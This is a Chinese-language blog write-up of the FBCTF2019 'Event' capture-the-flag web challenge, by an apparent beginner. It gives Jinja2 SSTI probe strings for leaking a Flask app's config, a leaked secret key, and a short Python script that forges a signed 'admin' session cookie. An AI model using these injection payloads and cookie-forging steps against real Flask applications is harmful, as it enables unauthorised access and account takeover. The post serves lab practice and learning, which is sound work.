suyumen
目前主要在学习web相关

FBCTF2019-Event

2021-05-13 session-flask ssti
Word count: 371 | Reading time: 1min

打开是登录界面,看了一下源码,发现一段:

1
<a class="nav-link" href="/flag">Admin panel</a>

直接访问回显You have to login first.;

dirsearch扫了一下,没东西。

随便输入,抓包,发现response的 cookie很奇怪:

1
2
Set-Cookie: user=IjEi.YJ0wCw.D30Z1pNcejSaIIxNINFDz4E5dGw; Path=/
Set-Cookie: events_sesh_cookie=.eJwlzrsRwjAMANBdVKfQx46sLMPJsnTQJqTi2J2CN8H7wKPOvJ5wvM87N3i8Fhwwc3LlsMV9dmujtcI2sBc5KhaZ1WTeZVcT8r1cS6KVh8uIiiBdhWHdByMGh4chiixdki4WyW1QJmlK9AohVKKZOBqxRCzY4L7y_GcIvj-t9S9P.YJ0wCw.rChG277NjUvzScdtRaqbcEsnCFg; HttpOnly; Path=/

猜测是cookie伪造,然后我就不会啦


flask-session伪造

Flask处理session逻辑:

session对象->json字符串->base64编码->签名校验

可以通过文件泄露、SSTI模板注入{{config}}进行读取secret_key,进行伪造签名

即使在无法读取到secret_key的情况下,也可以通过解密客户端的session进行分析

常用注入:

查找配置文件获取function所处空间下可使用的module、方法以及所有变量:

1
__class__.__init__.__globals__

获取配置信息:

1
__class__.__init__.__globals__[app].config

发现secret_key:

1
SECRET_KEY:fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y

脚本解一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
print(session_serializer.dumps("admin"))

index()

得到:
ImFkbWluIg.YJ6FsA.r9HHLldbGtTbJojLuURiO8L249U
编辑一下cookieuser提交得到答案。

Python没学,还是理解起来很吃力,不过下学期再学吧。


Tips

1.python后端->ssti->flask

2.admin单独的页面->cookie伪造。


[参考]

http://www.bubuko.com/infodetail-3528100.html

https://www.cnblogs.com/karsa/p/13726823.html

https://blog.csdn.net/qq_45691294/article/details/108871462

Author: suyumen

Link: https://suyumen.github.io/2021/05/13/2021-05-13-[FBCTF2019]Event/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
HFCTF-2021-Final-easyflask
NextPost >
GYCTF-2020-Ezsqli
CATALOG
  1. 1. flask-session伪造
  2. 2. Tips
    1. 2.0.0.1. [参考]